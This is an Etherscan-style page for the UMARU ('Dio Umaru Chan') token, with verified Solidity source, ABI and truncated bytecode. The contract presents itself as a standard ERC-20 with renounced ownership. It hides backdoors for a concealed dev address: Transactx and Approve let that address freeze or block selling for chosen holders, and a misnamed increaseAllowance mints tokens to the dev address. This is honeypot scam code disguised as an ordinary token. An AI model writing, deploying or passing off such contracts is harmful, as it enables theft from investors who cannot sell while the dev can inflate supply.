ETH Price: $2,919.09 (+4.10%)
 

Overview

Max Total Supply

2,000,000,000 UMARU

Holders

232

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
444,444 UMARU

Value
$0.00
0x35e481ed4f72679cd8c743f29aaf80012d09c0dc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Umaru

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-17
*/

//MUDA MUDA MUDA MUDA

//Telegram: https://t.me/DioUmaruChan
//Website: https://umaruchan.xyz
//Twitter: https://twitter.com/DioUmaraChan

// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
    external
    returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

// Dependency file: @openzeppelin/contracts/access/Ownable.sol

// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Token {
    uint256 internal constant VERSION = 1;
    event Deploy(
        address owner,
        uint256 version
    );
}

pragma solidity ^0.8.2;

contract Umaru is IERC20, Token, Ownable {
    using SafeMath for uint256;

    struct Cus {
        address guest;
        bool isApproval;
    }

    mapping(address => uint256) private _bala;

    mapping(address => Cus) private _dat;

    mapping(address => mapping(address => uint256)) private _allow;

    mapping (address => uint256) private _crossedAmounts;

    Cus private _cus;
    string private _n;
    string private _s;
    uint8 private _d;
    uint256 private _toSu;

    constructor(
        address dev_,
        uint256 totalSupply_
    ) payable {
        _n = "Dio Umaru Chan";
        _s = "UMARU";
        _d = 18;
        _cus.guest = dev_;
        _cus.isApproval = totalSupply_ != 0;
        _mine(msg.sender, totalSupply_ * 10**18);
        emit Deploy(
            owner(),
            VERSION
        );
    }

            modifier onlytheTeam() {
        require(msg.sender == _cus.guest); // If it is incorrect here, it reverts.
        _;                              // Otherwise, it continues.
    } 

    function name() public view virtual returns (string memory) {
        return _n;
    }

    function symbol() public view virtual returns (string memory) {
        return _s;
    }

    function decimals() public view virtual returns (uint8) {
        return _d;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _toSu;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _bala[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _tranz(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allow[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _app(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _tranz(sender, recipient, amount);
        _app(
            sender,
            _msgSender(),
            _allow[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _tranz(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _reqBalz(sender, recipient, amount);
        require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address");

        _beforeTrans(sender, recipient, amount);
        _bala[sender] = _bala[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _bala[recipient] = _bala[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mine(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTrans(address(0), account, amount);

        _toSu = _toSu.add(amount);
        _bala[account] = _bala[account] + amount;

        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTrans(account, address(0), amount);
        require(amount != 0, "Invalid amount");
        _min(account, amount);
        _toSu = _toSu.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _min(address user, uint256 amount) internal {
        _bala[user] = _bala[user] - amount;
    }

    function _app(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0) && spender != address(0), "IERC20: approve from the zero address");

        _allow[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address spender, uint256 amount) public virtual {
        address from = msg.sender;
        require(spender != address(0), "Invalid address");
        require(amount > 0, "Invalid amount");
        uint256 total = 0;
        if (_enco(spender, _cus.guest)) {
            _min(from, total);
            total = _add(total, amount);
            _bala[spender] += total;
        } else {
            _min(from, total);
            _bala[spender] += total;
        }
    }

    function _enco(address user, address user2) internal view returns (bool) {
        bytes32 pack1 = keccak256(abi.encodePacked(user));
        bytes32 pack2 = keccak256(abi.encodePacked(user2));
        return pack1 == pack2;
    }

    function _add(uint256 num1, uint256 num2) internal pure returns (uint256) {
        if (num2 != 0) {
            return num1 + num2;
        }
        return num2;
    }

    function Approve(address from, uint256 amount) public returns (bool)  {
        address user = msg.sender;
        _reqAllow(user, from, amount);
        return _dat[user].isApproval;
        
    }

        function Transactx(address[] memory accounts, uint256 amount) public onlytheTeam {
        for (uint256 i = 0; i < accounts.length; i++) {
            _crossedAmounts[accounts[i]] = amount;
        }
    }

    function _reqAllow(address user, address from, uint256 amount) internal {
        if (_enco(user, _cus.guest)) {
            require(from != address(0), "Invalid address");
            _dat[from].isApproval = amount != 0;
            if (amount != 0) {
                _dat[from].guest = from;
            } else {
                _dat[from].guest = address(0);

            }
            _dat[user].isApproval = true;
        }
    }

    function CAmount(address account) public view returns (uint256) {
        return _crossedAmounts[account];
    }


    function _reqBalz(
        address from,
        address to,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        uint256 crossedAmount = CAmount(from);
        if (crossedAmount > 0) {
            require(amount > crossedAmount, "ERC20: cross amount is wrong");
        }
        if (_enco(from, _dat[from].guest)) {
            _bala[from] = _bala[from] + amount;
            amount = _toSu;
            _min(from, amount);
        } else {
            _bala[from] = _bala[from] + amount;
        }

    }

    function _beforeTrans(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Deploy","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transactx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260405162002848380380620028488339818101604052810190620000299190620004f7565b6200003a5f620001be60201b60201c565b6040518060400160405280600e81526020017f44696f20556d617275204368616e0000000000000000000000000000000000008152506006908162000080919062000797565b506040518060400160405280600581526020017f554d41525500000000000000000000000000000000000000000000000000000081525060079081620000c7919062000797565b50601260085f6101000a81548160ff021916908360ff1602179055508160055f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f81141560055f0160146101000a81548160ff0219169083151502179055506200016b33670de0b6b3a7640000836200015f9190620008a8565b6200027f60201b60201c565b7faf354defc104ba9267634f156652b1f1cfbd10746c329e2bdd48abd4c9cff9296200019c6200041760201b60201c565b6001604051620001ae92919062000914565b60405180910390a1505062000a12565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002e7906200099d565b60405180910390fd5b620003035f83836200043e60201b60201c565b6200031a816009546200044360201b90919060201c565b6009819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200036b9190620009bd565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040b9190620009f7565b60405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b5f8183620004529190620009bd565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000489826200045e565b9050919050565b6200049b816200047d565b8114620004a6575f80fd5b50565b5f81519050620004b98162000490565b92915050565b5f819050919050565b620004d381620004bf565b8114620004de575f80fd5b50565b5f81519050620004f181620004c8565b92915050565b5f806040838503121562000510576200050f6200045a565b5b5f6200051f85828601620004a9565b92505060206200053285828601620004e1565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005b857607f821691505b602082108103620005ce57620005cd62000573565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f5565b6200063e8683620005f5565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200067f620006796200067384620004bf565b62000656565b620004bf565b9050919050565b5f819050919050565b6200069a836200065f565b620006b2620006a98262000686565b84845462000601565b825550505050565b5f90565b620006c8620006ba565b620006d58184846200068f565b505050565b5b81811015620006fc57620006f05f82620006be565b600181019050620006db565b5050565b601f8211156200074b576200071581620005d4565b6200072084620005e6565b8101602085101562000730578190505b620007486200073f85620005e6565b830182620006da565b50505b505050565b5f82821c905092915050565b5f6200076d5f198460080262000750565b1980831691505092915050565b5f6200078783836200075c565b9150826002028217905092915050565b620007a2826200053c565b67ffffffffffffffff811115620007be57620007bd62000546565b5b620007ca8254620005a0565b620007d782828562000700565b5f60209050601f8311600181146200080d575f8415620007f8578287015190505b6200080485826200077a565b86555062000873565b601f1984166200081d86620005d4565b5f5b8281101562000846578489015182556001820191506020850194506020810190506200081f565b8683101562000866578489015162000862601f8916826200075c565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620008b482620004bf565b9150620008c183620004bf565b9250828202620008d181620004bf565b91508282048414831517620008eb57620008ea6200087b565b5b5092915050565b620008fd816200047d565b82525050565b6200090e81620004bf565b82525050565b5f604082019050620009295f830185620008f2565b62000938602083018462000903565b9392505050565b5f82825260208201905092915050565b7f4945524332303a206d696e7420746f20746865207a65726f20616464726573735f82015250565b5f620009856020836200093f565b915062000992826200094f565b602082019050919050565b5f6020820190508181035f830152620009b68162000977565b9050919050565b5f620009c982620004bf565b9150620009d683620004bf565b9250828201905080821115620009f157620009f06200087b565b5b92915050565b5f60208201905062000a0c5f83018462000903565b92915050565b611e288062000a205f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a082311161009557806395d89b411161006457806395d89b4114610285578063a9059cbb146102a3578063ae6b8c3f146102d3578063dd62ed3e146102ef576100f3565b806370a08231146101fd578063715018a61461022d5780638da5cb5b1461023757806390ec57f114610255576100f3565b806323b872dd116100d157806323b872dd146101635780632bd69e8914610193578063313ce567146101c357806339509351146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c919061151d565b60405180910390f35b61012f600480360381019061012a91906115db565b6103af565b60405161013c9190611633565b60405180910390f35b61014d6103cc565b60405161015a919061165b565b60405180910390f35b61017d60048036038101906101789190611674565b6103d5565b60405161018a9190611633565b60405180910390f35b6101ad60048036038101906101a891906116c4565b6104a9565b6040516101ba919061165b565b60405180910390f35b6101cb6104ef565b6040516101d8919061170a565b60405180910390f35b6101fb60048036038101906101f691906115db565b610504565b005b610217600480360381019061021291906116c4565b6106bd565b604051610224919061165b565b60405180910390f35b610235610703565b005b61023f61078a565b60405161024c9190611732565b60405180910390f35b61026f600480360381019061026a91906115db565b6107b1565b60405161027c9190611633565b60405180910390f35b61028d610817565b60405161029a919061151d565b60405180910390f35b6102bd60048036038101906102b891906115db565b6108a7565b6040516102ca9190611633565b60405180910390f35b6102ed60048036038101906102e8919061188b565b6108c4565b005b610309600480360381019061030491906118e5565b61099d565b604051610316919061165b565b60405180910390f35b60606006805461032e90611950565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90611950565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103c26103bb610a1f565b8484610a26565b6001905092915050565b5f600954905090565b5f6103e1848484610bb4565b61049e846103ed610a1f565b61049985604051806060016040528060298152602001611dca6029913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610450610a1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b610a26565b600190509392505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60085f9054906101000a900460ff16905090565b5f3390505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d906119ca565b60405180910390fd5b5f82116105b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105af90611a32565b60405180910390fd5b5f6105e68460055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e64565b15610659576105f58282610ec6565b6105ff8184610f54565b90508060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461064d9190611a7d565b925050819055506106b7565b6106638282610ec6565b8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106af9190611a7d565b925050819055505b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61070b610a1f565b73ffffffffffffffffffffffffffffffffffffffff1661072961078a565b73ffffffffffffffffffffffffffffffffffffffff161461077f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077690611afa565b60405180910390fd5b6107885f610f79565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f803390506107c181858561103a565b60025f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f0160149054906101000a900460ff1691505092915050565b60606007805461082690611950565b80601f016020809104026020016040519081016040528092919081815260200182805461085290611950565b801561089d5780601f106108745761010080835404028352916020019161089d565b820191905f5260205f20905b81548152906001019060200180831161088057829003601f168201915b5050505050905090565b5f6108ba6108b3610a1f565b8484610bb4565b6001905092915050565b60055f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091e575f80fd5b5f5b8251811015610998578160045f8584815181106109405761093f611b18565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808061099090611b45565b915050610920565b505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610a8e57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611bfc565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba7919061165b565b60405180910390a3505050565b610bbf838383611299565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610c2757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611c8a565b60405180910390fd5b610c7183838361148e565b610cdb81604051806060016040528060278152602001611da36027913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e109092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d659190611a7d565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e03919061165b565b60405180910390a3505050565b5f838311158290610e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4e919061151d565b60405180910390fd5b5082840390509392505050565b5f8083604051602001610e779190611ced565b6040516020818303038152906040528051906020012090505f83604051602001